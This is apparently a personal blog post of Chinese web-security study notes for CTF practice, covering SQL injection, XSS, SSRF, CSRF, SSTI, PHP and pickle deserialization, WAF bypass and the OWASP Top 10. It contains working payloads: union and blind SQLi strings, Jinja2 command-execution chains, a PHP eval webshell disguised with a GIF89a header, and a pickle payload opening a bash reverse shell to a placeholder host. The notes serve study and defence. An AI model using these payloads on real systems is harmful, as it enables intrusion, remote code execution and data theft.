Web安全学习笔记

未分类
9.5k 词

一点偏八股的笔记和一点遇到就随便写一下的技巧

目录

SQLi

属于A03:2021-注入式攻击

SQL注入方法

有回显的SQL注入

可以在应用程序的输出中看到数据库的查询结果

通过sql注入,利用mysql自带得到库去获得敏感信息,然后获得更多的数据

布尔盲注

无回显SQL注入

主要是通过if(expression,if_true,if_false)+正则匹配+枚举爆破的方式来找出数据

if(DATABASE() rlike ‘^{exp}’,1,0) # 获取数据库名

if((SELECT GROUP_CONCAT(table_name, ‘:’, column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) rlike ‘^{exp}’,1,0) # 获取表名与字段名

if((SELECT binary GROUP_CONCAT(secret_string) FROM secret) rlike ‘^{exp}’,1,0) # 获取存储的数据

当然,因为用AND连接if语句,所以很显然需要保证另一个式子要结果稳定,这也就能引出适用范围更广的时间盲注

时间盲注

TODO 没有实践成功,windows下signal的方式不行

无回显SQL注入

通过延时函数sleep,控制查询时间到的长短(超时返回一个报错去catch)来判断if语句真假

基于报错的 SQL 注入 TODO

捕获报错信息进行sql注入,报错注入需要利用函数,以及其相应的攻击方法

堆叠注入

当注入点允许一次性执行多个 SQL 语句。而且不仅限于 SELECT , INSERT、SHOW、SET、UPDATE 等也都可以。

二次注入

简单来说,第一层是安全的,但是第二层没有响应的检查过滤等,那么第一层如果放过的数据里有注入内容,在第二层的时候就可以重复上述或其他的注入方法进行注入

技巧

判断是否存在sql注入

手注的角度来看最为经典的就是通过'闭合去进行测试,报错则存在sql注入,不报错可能是被过滤了

判断注入类型和闭合方式

使用数据 1、1'、1' '

联查判断列数

' order by 1,2 ;' (order by 用于排序1,2表示优先按照哪些列来排,超出列数就会报错)

返回判断

' union select 1,2,3;'观察返回哪些数,可以看到哪些列是被返回显示的,这里有很多操作空间,比如用load_file这样的函数去读取文件等等

字符串表名

加个反引号

1
1';show columns from `1919810931114514`;#

突出union内容

and 1=2让原本的内容查不出来

信息收集

在确定哪些列被返回的基础上,可以将返回显示的改为特定方法,以返回一些数据

datebase()返回数据库名

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news';' 返回数据库下的数据表名

1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name="secret_table" ;'返回数据库的字段名

1' union select 1, fl4g, 3 from secret_table ;'查询字段值

1,group_concat(no,username,passwd,data),3,4 fromusers查询字段值

SQL 注入常见的过滤绕过方式

很显然过滤是为了防止sql注入,那也就意味着只要通过合适的方法绕过过滤,就可以正常进行注入了。

select等关键字被过滤

1'; show datebase();# 可能只过滤了那一段sql,堆叠注入可能就不被过滤了

双写绕过

比如说select被过滤为空,可以用selecselectt替代

如:filename="a'+(CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),1,12),16,10))+'.jpg

盲注加速

  • 二分法
  • 与运算

Between注入

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

1
2
3
select * from users where id =1 and substr(username,1,1) between 'a' and 'b';

select * from users where id =1 and substr(username,1,1) between 'a' and 't';

XSS

跨站脚本(Cross-site scripting)

属于A03:2021-注入式攻击

通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。

类型

反射型(非持久型)XSS

反射型 XSS 一般可以由攻击者构造带有恶意代码参数的 URL 来实现,在构造的URL 地址被打开后,其中包含的恶意代码参数被浏览器解析和执行。

这种攻击的特点是非持久化,必须用户点击包含恶意代码参数的链接时才会触发。

原理:用户的输入或可控参数被未经处理就输出到页面,就容易产生该漏洞

常出现在搜索等功能,可以利用搜索框执行一些程序语言的命令

存储型(持久型)XSS

不需要特制的链接来执行。仅需要提交 XSS 漏洞利用代码(反射型XSS通常只在url中)到一个网站上其他用户可能访问的地方。

这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis。一旦用户访问受感染的页,执行是自动的。

其原理和反射型类似,但是恶意代码会被保存到服务器中,比如说留言板被注入了恶意代码,每次跳转到留言板就会触发代码

最常发生在由社区内容驱动的网站或 Web 邮件网站

DOM型XSS

什么是DOM

DOM指的是DOM文档,也就是一份xml文档,可以将前端html的代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端。

如图是一个HTML DOM 树:

DOM HTML tree

原理

DOM有一个source和sink,可以理解为DOM操作函数的入口点和出口点,基于DOM的XSS就是因为将入口点的输入传递给出口点的时候被出口点函数执行导致的XSS。

DOM型xss可以在前端通过js渲染来完成数据的交互,达到插入数据造成xss脚本攻击,且不经过服务器的目的,属于前端js的漏洞,可以达到绕过WAF、躲避服务端的检测效果,而反射型和存储型显然都是需要与服务器进行交互的。

如何测试基于DOM的XSS?

  • 测试HTML sink
  • 测试JS执行 sink

测试HTML sink

测试HTML sink需要在sink处填充随机字母数字,然后观察在HTML页面中的位置。然后观察其上下文,调整payload以观察是否能够将内容从当前标签中脱离出来。

测试JS执行sink

测试JS执行sink比测试HTML sink困难一点,因为可能sink的输入不会显示在页面中,这就需要在sink处下断点进行调试,跟踪变量值的变化,可能sink的输入会赋给其他变量,剩下的操作与上面相同,依然是不断调整输入以触发XSS。

典例如:

  • HTML类的——搜索结果直接放入img元素中返回,就可以提前闭合img并执行恶意代码。

通用型XSS

突变型XSS

防御

  • 使用HTTP Only来禁止JavaScript读取cookie(通过apache的cve,植入过长的cookie,让http头超过最大请求长度,返回400错误时可以获得cookie;phpinfo页面也可以拿到;Java的一些api)
  • 对输入过滤、对输出编码转义

SSRF

什么是SSRF

SSRF(服务器端请求伪造)是种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统,比如说无法直接从外网访问的flag.php文件,访问内网的MySQL数据库等

成因大都是服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址进行过滤限制,如从指定url获取网页文本内容,加载指定地址的图片,下载等

场景

(为可能出现的场景,因为如果做好了过滤和限制,也是不会出现的)

  • 分享功能(获取超链接url的标题等并展示)
  • 在线翻译(给url翻译对应网页的内容)
  • 从远程服务器请求资源

判断是否存在ssrf

  • 查看是否是在本地进行了资源地址类型为 http://www.xxx.com/a.php?image=URL等URL参数为其他服务器地址的请求,就可能存在SSRF漏洞

    可以通过127.0.0.1或通过伪协议进行内网资源的访问

  • 自动化工具进行测试

  • 其他

利用

  1. 利用ssrf对内网进行端口扫描或目录扫描(比如说访问127.0.0.1:target)target为爆破参数,这点完全可以通过burpsuite实现
  2. 利用ssrf进行sql注入,思路是一样的,注入点在url参数的位置,需要注意将空格进行两次url编码
  3. 利用gopher协议发送get/post请求gopher://<host>:<port>/<gopher-path>_<TCP数据流>,或攻击内网应用如Redis
  4. file协议读取本地文件

防御/绕过

  • 限制IP,可以考虑进制转换改写成其他进制、进制混用,或者合并后2-3位
  • 解析到内网的域名,简单来说就是没有先解析,而是先过滤再解析,那么localhost等就会解析到内网ip进行攻击,另外xip.io的子域名会解析到对应的IP,192.168.0.1.xip.io解析后即为192.168.0.1
  • @绕过http://www.baidu.com@10.10.10.10http://10.10.10.10是相同的
  • 302跳转,307跳转
  • 非HTTP协议,常见如gopher
  • DNS重绑定,常见的防御是对于用户请求的参数先进行DNS解析,再对从DNS服务器返回的ip进行判断,如果在黑名单中则禁止请求。DNS Rebinding利用的是两次去DNS服务请求解析域名的时间差。
    • 服务器端获得URL参数,进行第一次DNS解析(该域名的解析需要指定到攻击者可控的DNS Server),获得了一个非内网的IP
    • 对于获得的IP进行判断,发现为非黑名单IP,通过验证
    • 服务器端对URL访问,由于DNS服务器(攻击者可控的)设置的TTL为0,于是再次进行DNS解析,这一次返回内网地址。
    • 由于验证已经通过,所以服务器端访问内网资源并返回结果。
  • 其他

CSRF

跨站请求伪造,是OWASP(Open Web Application Security Project)2021年A01:失效的[访问控制]中常见的CWE之一

CSRF攻击是一种网络攻击方式,攻击者通过伪造用户身份,在用户毫不知情的情况下,以用户的名义发送恶意请求给受攻击站点。这些请求在权限保护之下执行,对用户和网站造成严重的危害。

简单来说是攻击者在一个网站上伪造请求,以便在另一个网站上执行操作。

例如,Jane 可能会在查看电子邮件的同时登录了她的网上银行,然后可能会点进钓鱼邮件中的自带转账请求的链接(比如迷惑性的短链接),要求 Jane 的银行转账至被攻击者控制的账户里。

由于 Jane 已经登陆了银行,该转账请求会被自动执行,因为是通过已被 Jane 授权了的浏览器发出的请求。

原理

CSRF攻击利用了Web的身份验证机制的缺陷。虽然Web的身份验证机制可以保证一个请求是来自某个用户的浏览器,但却无法保证该请求是用户批准发送的。攻击者通过在第三方网站上放置恶意代码,诱导用户访问被攻击的网站并完成恶意请求。整个过程用户并不知情,因此很难防范。

类型

GET

CSRF的本质原因是重要操作的所有参数都是可以被攻击者猜测到的。

比如说攻击者猜到银行转账使用以下GET请求完成转账

http://www.bank.com/Transfer.php?toName=username&money=1

而在危险站点中有这样一段html

<img src=http://www.bank.com/Transfer.php?toName=Hacker&money=100000>

一般来说都是受害者登录受信任站点A,并在本地生成Cookie(放在浏览器中)。在不登出A的情况下,访问危急站点B。

那么,账户里就会少100000块钱。

常使用HTML中<image>、<iframe>、<script>等带“src”属性的标签

POST

如果不对请求方法进行限制,那么依然可以通过构造GET请求完成CSRF,但如果已经区分,那么最简单的方法就是提前构造好一个表单,利用js自动提交表单

攻击者的这个页面可以隐藏在一个不可见的iframe窗口中,让用户发现不了

防御

1.检测

验证请求的来源地址。可以通过检查请求头部中的Referer字段来判断请求的来源,如果请求的来源地址与目标地址不一致,则可能存在CSRF攻击。

如果Referer字段为空或者与目标地址不一致,也可能会是CSRF攻击。

2.防范手段

  • 添加token验证。在用户登录后生成token并存储在session中(印象里现在是不是jwt更多一些?),然后在处理敏感操作的时候对token进行验证【这里衍生出很多相关的攻击,可见靶场的题目记录】
  • 二次验证。在关键操作之前,要求用户提供当前密码或验证码进行验证。这种方法虽然会对用户体验产生影响,但对于高敏感度的操作来说,却是非常有效的防护手段。
  • 配置HTTP头部信息。例如,设置合适的Content-Security-Policy头部可以限制浏览器加载资源的来源,从而降低CSRF攻击的风险。

Clickjacking

点击劫持

属于A06:2021 - Vulnerable and Outdated Components危险或过旧的组件)下的一种威胁,与UI相关的安全问题密切相关

原理

攻击者通过使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,通过调整iframe页面的位置,可以使得伪造的页面恰好和iframe里受害页面里一些功能重合(比如说按钮、超链接)。

Clickjacking是仅此于XSS和CSRF的前端漏洞。

漏洞利用

1、目标网页隐藏技术

攻击者在恶意网站上通过 iframe 载入目标网页,隐藏目标网页,欺骗用户点击隐藏的恶意链接。目前主要的网页隐藏技术有两种:CSS隐藏技术和双iframe隐藏技术。
CSS 隐藏技术的原理是利用 CSS 技术控制网页内容显示的效果。其中opacity参数表示元素的透明度,取值范围为0~1,默认值为1表示不透明, 取值为0时元素在网页中完全透明显示。当设置目标 iframe 的opacity 属性小于或等于0.1,用户就无法看到含恶意代码的目标网页。
双iframe隐藏技术使用内联框架和外联框架。内联框架的主要功能是载入目标网页,并将目标网页定位到特定按钮或者链接。外联框架的主要功能是筛选,只显示内联框架中特定的按钮。

2、点击操作劫持

在成功隐藏目标网页后,攻击者下一个目标是欺骗用户点击特定的按钮,最简单实用的方法是使用社会工程学。例如,将攻击按钮外观设计成类似QQ消息的提示按钮,诱使用户点击从而触发攻击行为。另外一种思路是使用脚本代码以及其他技术增加用户点击特定按钮的概率。主要方法如JavaScript实现鼠标跟随技术、按键劫持 (Stroke jacking) 技术等。

3、拖拽(Drag and Drop)技术

主流的浏览器都有drag-and-drop API 接口,供网站开发人员创建交互式网页。但是,这些 API 接口在设计时没有考虑很多的安全性问题,导致通过拖拽就可以实现跨域操作。利用拖拽技术,攻击者可以突破很多已有的安全防御措施,
利用拖拽技术,攻击者可以轻易将文本注入到目标网页。在实际实施过程中,攻击者欺骗用户选择输入框的内容,完成拖拽操作。另外一种方式是,通过浏览器的 API 接口将 iframe 中的内容拖拽到目标网页的 text area 中,攻击者就可以获得用户网页中存在的敏感信息。

4、结合CSRF漏洞

跨站点请求伪造漏洞需要获得正确token值,而Clickjacking可以做到被攻击者在未知的情况下泄露自己的token

5、结合XSS漏洞

反射型跨站点脚本漏洞是非持久型的漏洞,但通过Clickjacking,就变成了存储型XSS

防御

1、FrameBusting代码

点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。使用 JavaScript编写的Frame Busting 脚本阻止恶意网站载入网页——如果检测到网页被非法网页载入,就执行自动跳转功能。

如果用户浏览器禁用JavaScript脚本,那么FrameBusting代码也无法正常运行。

2、 X-FRAME-OPTIONS 机制

部分浏览器支持

该机制有两个选项:DENY 和 SAMEORIGIN。DENY表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用 iframe载入该网页。

3、Content Security Policy

“网页安全政策”(Content Security Policy,缩写 CSP),一种白名单制度。

4、 NoScript 扩展

Firefox的NoScript扩展

CORS

Cross-origin resource sharing

A01:2021 - Broken Access Control(访问控制缺陷)

  • 如果 CORS 配置不正确,可能允许来自恶意来源的请求访问受限资源,导致未授权的数据泄露或修改。

A05:2021 - Security Misconfiguration(安全配置错误)

  • CORS 配置错误(如不安全的 Access-Control-Allow-Origin 设置)属于安全配置错误的一部分。

啥是CORS

个人理解,出于安全浏览器根据同源安全策略(SOP)限制跨域HTTP请求,但也带来了不便,在此情况下CORS可以绕过SOP使得跨源/跨域访问可以成功

关于同源安全策略

image-20240529152554853

两种请求

浏览器将CORS请求分为简单请求和非简单请求。

简单请求为:

  • 请求方式为GET,POST,HEAD这三种之一
  • HTTP头不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段

对于简单请求,浏览器会自动在Header里添加Origin,用来说明本次请求来自哪个源(协议 + 域名 + 端口),如果不被许可,那么会收到不包含Access-Control-Allow-Origin的响应(但状态码可能还是200)。

反之会包含

1
2
3
ccess-Control-Allow-Origin: 
Access-Control-Allow-Credentials:
Access-Control-Expose-Headers:

其中ccess-Control-Allow-Origin:为必须,表示允许哪个域访问,如果为*则表示全部,这样就引出来了CORS相关的漏洞

漏洞

XXE

通过xml外部实体注入攻击,对敏感文件进行读取

防御

xml解析库在调用时严格禁止对外部实体的解析

PHP

文件包含漏洞

伪协议读取文件

常见伪协议: php://filterphp://inputphp://memory

常见格式:filename=php://filter/read=convert.base64-encode/resource=(不知道是我见识少了还是刻板印象,这里的read似乎本来就不需要,后面写的绕过其实也是没有用到read的)

相关绕过:convert.base64-encode 是对于编码格式的操作,将读取到的内容以Base64的格式加密,可以替换为convert.quoted-printable-encode、convert.iconv.<input-encoding>.<output-encoding>

如:filename=php://filter/convert.iconv.utf8.utf16/resource=

pearcmd.php文件包含

默认安装路径为/usr/local/lib/php/pearcmd.php,如果能够访问pearcmd,可以利用config-creater参数创建一个文件(+连接),由此可以进行文件上传漏洞的利用

如写入shell文件/usr/local/lib/php/pearcmd+config-create&+/<?=@eval($_POST[hack]);?>+/var/www/html/shell.php

靶机可见vulfocus的thinkphp lang 命令执行复现这个的时候直接浏览器get请求加payload蚁剑一直返回空,没有找到原因,但是bp抓包重放一次就成了,可能是部分字符被自动url编码了的原因

弱类型比较

字符串和数字

’123a‘作为数字进行比较会转换成123,’a123‘,’aaaaa‘则为0

布尔true和任意

1
2
3
var_dump(True == 0);	//bool(false)
var_dump(True == 'False'); //bool(true)
var_dump(True == 2); //bool(true)

反序列化绕过wakeup

PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

.user.ini绕过(文件上传漏洞)

php.ini是php的一个全局配置文件,对整个web服务起作用;.user.ini是用户自定义的php.ini,可以利用来构造后门(比如说用于让php解析某个文件)。

1
2
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾

绕过

cat可以用more代替

flag(整个单词的绕过)可以用f””lag,f\lag

空格可以用${IFS}

/可以用$(printf${IFS}"\57")内敛执行输出“/”到字符串中

strstr()区分大小写,stristr()不区分

preg_match('/[oc]:\d+:/i', $var), 不允许o:number,c:number出现,用o:+number即可

后缀php的绕过可以用参考此正则绕过/.+\.ph(p[3457]?|t|tml)$/这是apache的正则会自动选择对应的解析器

有些过滤只过滤最后一个.后的php后缀,可以考虑用a.php/.绕过

Thinkphp v5.x

框架的漏洞

SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合 (github.com)

assert()函数

这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

assert ( mixed $assertion [, string $description ] ) : bool

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

php用.连接字符串,可以在assert中拼接多个命令

$_SERVER[‘HTTP_X_FORWARDED_FOR’]

指的是请求报文中X-Forwarded_For的值

preg_replace() \e模式漏洞

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。(开头和结尾需要相同字符用于标识,如\pat\,@pat@)
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。

该函数有个e模式,即pattern部分为\e结尾,如\pat\e(因为\并不是唯一需求,所以也可以有/e这种,也是一个道理)

简单示例:

1
2
3
4
$pattern = "/hack/";
$replacement = "system('ls')";
$subject = "hack";
preg_replace($pattern, $replacement, $subject);

cURL

使用数组提供 post 数据时,CURL 组件大概是为了兼容 @filename 这种上传文件的写法,默认把 content_type 设为了 multipart/form-data。

呃,不懂,大概就是需要使用@filename去发送(用原本的表单框放filename发送不到结果)

PHP-CGI

HTTP

一点HTTP有关的知识和技巧

XFF

X-Forwarded-For(XFF)客户端的IP地址

有些不通过XFF来判断,可以考虑X-Real-IP(Nginx 反向代理服务器会添加这个请求头,用来传递客户端的真实 IP 地址。)

Referer

告诉服务器是从哪个页面链接过来的

Content-Type

文件上传漏洞中可能遇到类型不对的情况,比如.user.ini后门文件不是jpg可能会被服务端拒绝上传,可能就是检测了此字段,修改即可

Python

Python模板注入(SSTI)

Flask

Flask是python的一个轻量级Web应用开发框架,适合开发中小应用

Python模板注入简单来说就是python的xss(也许比较狭义)

检测是否存在SSTI

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

那么,传个{{1+1}}如果会返回2,那就表明存在漏洞

思路

通过查看flask中的全局变量,找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。(没看懂)

从零学习flask模板注入 - FreeBuf网络安全行业门户

总之可以用这个来查看全部模块/{{[].__class__.__base__.__subclasses__()}},然后找到warnings.catch_warnings模块,在里面找到linecache函数,这其中包含os,然后就用import os去xss注入一手了

或者是用<class ‘site._Printer’>进行命令执行{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}可以查看有哪些文件

再用type file进行读取{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

读取当前进程的内存内容

/proc/self/mem,但不能直接读取,因为文件中存在着一些无法读取的未被映射区域

要结合/proc/self/maps中的偏移地址进行读取

即将从maps获取到的地址,利用脚本来访问mem

读取全局变量

url_for或者get_flashed_messages

{{url_for.__globals__}}

Tornado

检测是否存在SSTI

和Flask那边一样的检测方式,只不过Flask渲染用的是Jinja2,而Tornado这边是render模版

也就是传个2,不过做题的时候似乎1+1直接返回500了,改成1*1就正常了,这里有点没搞懂大概是操作符的问题,关于检测,其实直接{{1}}看有没有返回1应该也是一样的

漏洞利用

handler.settings可以访问到环境配置的一些信息技巧

技巧

绕过(通过request.args.key方式传参)

{{''[request.args.a]}}?a=__class__

{{''.__class__.__mro__[2].__subclasses__()[40]('flag.txt').read()}}可以改写成

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('flag.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

Python反序列化漏洞

Python的序列化同样是类对象向字节流转化。

pickle

函数作用
pickle.dump(obj)对象序列化
pickle.load(ser)反序列化

__reduce__该方法在序列化的时候自动执行

关于使用和payload,感觉没有特别多可挖掘的点,先copy下来了

使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle

class tmp():
text = "123"

def __init__(self, text):
self.text = text

def __reduce__(self):
return (tmp,("helloworld",))

text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os

class tmp():
text = "123"

def __reduce__(self):
return (os.system,("id",))

text = tmp()
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

一点payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))


import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

#注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错

python沙箱逃逸

Django

爬虫

到时候扔个仓库吧,如果爬了啥扔个源码过去。

Tools

伪造session

noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder (github.com)

python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”
python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”

JavaScript

JavaScript 原型链污染

什么是原型(JavaScript 原型链继承)

  • prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  • 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

借图

img

原型链污染原理

实例化的对象的 .__proto__ 指向类的 prototype

修改实例化的对象的 .__proto__ 的内容, 类的 prototype 的内容会随之发生变化

这就是原型链污染的原理与利用方法。

可污染情况

能够控制数组(对象)的“键名”的操作

比如merge,clone,Object.assign

Object.assign({}, a,b),可以合并a、b到{}中

Java

shiro反序列化漏洞

有点忘记是哪里看到了,总之跳转到我的漏洞复现吧 shiro550,讲的是一个东西感觉

Go

text/template (SSTI)

text/template存在SSTI(但go的ssti并不能直接rce和读文件),对 XSS 或任何类型的 HTML 编码都没有保护

tmpl.Execute(c.Writer, c);这是一句对tmpl的执行并生成响应,存在模板注入

测试payload如下

{{println 0B10101}}回显为21,表明存在SSTI

技巧

通过调用Query函数拼接的方式绕过对一些关键字的限制

1
{{.Query `crumbling`}}&crumbling=<script>alert('114514')</script>

Linux

/proc/self/cmdline,用于获取当前启动进程的完整命令。

Git

.git源码泄露

检测

/.git进去看看就知道了

利用

利用githack可以将整个.git的备份获取

安全设备

WAF

WAF(Web Application Firewall,Web应用防火墙),主要是利用针对HTTP和HTTPS的安全策略来加固应用

分类

云WAF,DNS技术,用户的请求会先经过云端节点进行检测。如阿里云盾等。

硬件WAF,部署在Web服务器前,过滤全部外部访问流量并解析,如绿盟Web应用防火墙

软件WAF,安装在被防护的服务器上,通过监听端口等方式,如安全狗

大致结构:请求->云WAF->硬件WAF->软件WAF(服务器区/用户区)

保护方式

常用的方法有关键字检测、正则表达式检测、语法分析、行为分析、声誉分析、机器学习等。

  • 正则表达式检测,简单,常见
  • 语法分析,快且准确,原理是将payload转化成符号组,在里面寻找危险关键字
  • 行为分析,主要是针对攻击者的端口扫描、目录爆破、参数测试等行为的检测
  • 声誉分析,主要是对来源的过滤,如匿名代理、僵尸网络节点的IP等
  • 黑白名单,黑名单主要针对已知问题,白名单针对比较稳定的Web应用

绕过方式

  • 基于资源,通过数据较大的资源去耗尽WAF的计算资源,让WAF无法检测全部数据以逃逸攻击内容
  • 基于架构
  • 基于规则
  • 基于解析
  • 各种特性

RASP

看java安全那个看到的一个东西,先记下之后看看是啥。

IDS

入侵检测,主要有收集信息、分析信息、给出结论、做出反应四个阶段

根据部署方式:

  • HIDS:基于主机的入侵监测系统,部署在内网服务器中,对服务器中的异常操作行为进行检测,会第一时间采取预设措施,如阻断恶意进程、隔离被攻击主机等。

    • 系统调用轨迹
      审计记录(日志文件)
      文件完整性校验
      注册表访问
  • NIDS:基于网络的入侵检测系统

黑盒漏扫

TAR NFT IPS TDS 防火墙

DNSlog

  • sql布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显可利用
  • 无回显的命令执行
  • xss盲打
  • SSRF
  • 命令执行
  • XXE

OWASP

随便看看 随便写写

OWASP Top10

  1. Broken Access Control:失效的访问控制
  2. Cryptographic Failures:加密机制失败
  3. Injection:注入
  4. Insecure Design:不安全的设计
  5. Security Misconfiguration:安全配置错误
  6. Vulnerable and Outdated Components:易受攻击和过时的组件
  7. Identification and Authentication Failures:身份识别和身份验证错误
  8. Software and Data Integrity Failures:软件和数据完整性故障
  9. Security Logging & Monitoring Failures:安全日志和监控故障
  10. Server-Side Request Forgery (SSRF):服务器端请求伪造 (SSRF)

Broken Access Control:失效的访问控制

简单来说就是正常情况下存在权限控制/鉴权,但实际上发生了越权

不安全的直接对象引用(IDOR-Insecure Direct Object Reference)

即参数泄露且可被调整的情况下,没有做到权限的验证。

比如说某个用户登录后可以在http://www.crumbling.com/?id=1拿到自己的信息,如果尝试将url改为http://www.crumbling.com/?id=2并且成功访问,就是一次不安全的直接对象引用,当然其核心在于没有验证或验证不够全面

Cryptographic Failures:加密机制失败

传输的数据、储存在第三方的数据等往往需要被加密,而加密的失效就会导致敏感数据泄露(比如用户个人信息,账号密码等),而从更密码学的角度上来看,不够安全的加密方式也会导致中间人截取信息,甚至进行转发攻击(也就是所谓的中间人攻击,最典型的莫过于DH密钥交换场景)。

Injection:注入

常见有SQL注入和命令注入

常见防御措施有白名单(允许列表)和过滤用户输入

Insecure Design:不安全的设计

顾名思义,更多是设计上逻辑上导致的漏洞

Security Misconfiguration:安全配置错误

名字很明确,不需要更多解释

安全配置错误包括:

  • 云服务的权限配置不当,例如S3存储桶;
  • 启用了不必要的功能,例如某些服务、页面、帐户或权限;
  • 使用了未更改默认密码的默认帐户;
  • 报错信息过于详细,从而使得攻击者找到了关于系统的更多信息;
  • 没有使用 HTTP 安全标头

或者是导致更多其他漏洞的发生

Vulnerable and Outdated Components:易受攻击和过时的组件

也没啥好解释的,就是名字的意思,也就是该web应用组件里有n-day。

Identification and Authentication Failures:身份识别和身份验证错误

身份验证(鉴权)和会话(session)管理构成了现代Web应用程序的核心组件。

常见的鉴权问题:

  • 暴力破解攻击:针对用户名+密码的机制,常见有弱密码,或者单纯爆破用户名+密码
  • 弱会话Cookie:会话(Session)Cookie 是服务器跟踪用户操作的方式,如果Cookie被伪造,攻击者就可以变成管理员或者操控他人的账号。

防御

  • 强密码策略。
  • 一定次数的失败验证尝试后,强制锁定,从此次数上限制爆破。
  • 实施多因素身份验证措施,简单说就是又要账号+密码还要手机号+短信验证码。

Software and Data Integrity Failures:软件和数据完整性故障

用户在使用时没有针对相关的软件或数据经过完整性检查而引起,攻击者可能会修改软件或数据然后再传递给目标应用程序

软件完整性

主要是第三方的问题,比如说从第三方库调用了内容,而第三方库又被攻击,就会导致漏洞,其原因是没有对第三方库的完整性进行验证,也就是没有确认第三方库是否被修改。

安全机制——子资源完整性(SRI)。

数据完整性

Cookie在web应用中被反复调用以确认用户,但因为直接存储在浏览器,所以可能被攻击者冒充,这就是一种数据完整性故障

防御:

现今更流行、更安全的一种令牌JWT

Security Logging & Monitoring Failures:安全日志和监控故障

日志和监控主要用于实时观察和追踪等,故障可能导致追溯修复变迟

Server-Side Request Forgery (SSRF):服务器端请求伪造 (SSRF)

Other

robots.txt

robots.txt是一种文本文件,用于告知搜索引擎爬虫哪些页面可以被抓取、哪些页面不应被抓取。通常,网站管理员会在网站的根目录下放置一个名为robots.txt的文件,并使用该文件指定他们希望搜索引擎索引和不索引的页面。

通过此文件,有时候可以观察到目录结构,进而发现flag的位置

GIF89a

用于伪造GIF文件

如以下伪造成图片的txt文件内容:

1
2
GIF89a
<?php @eval($_POST[cmd]);?>

AntSword的使用

官方文档

AntSword 文档 (yuque.com)

任意文件读取漏洞

检测

Linux下都有的文件/etc/passwd

http://61.147.171.105:56426/info?file=../../etc/passwd

Fuzz(模糊测试)

Mysql的弱类型?

简单来说就是where id = ‘1a9’和where id = ‘1’是一个结果。

参考

可能会漏掉一些参考((

先私密马赛为敬

【THM】OWASP Top 10(2021标准)-学习 - Hekeatsll - 博客园 (cnblogs.com)

OWASP Top 10:2021

首頁 - OWASP Top 10:2021

跨站请求伪造——什么是 CSRF 攻击以及如何预防它 (freecodecamp.org)

CSRF漏洞原理攻击与防御(非常细)-CSDN博客

CSRF攻击与防御:深入浅出的解析与实践-百度开发者中心 (baidu.com)

点击劫持(ClickJacking)漏洞挖掘及实战案例全汇总-腾讯云开发者社区-腾讯云 (tencent.com)

浏览器的同源策略 - Web 安全 | MDN (mozilla.org)

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

web安全 | 浅谈安全设备 - FreeBuf网络安全行业门户

【深蓝实验室天魁战队】WAF的识别、检测、绕过原理与实战案例 - FreeBuf网络安全行业门户

CTF-python pickle反序列化 - sijidou - 博客园 (cnblogs.com)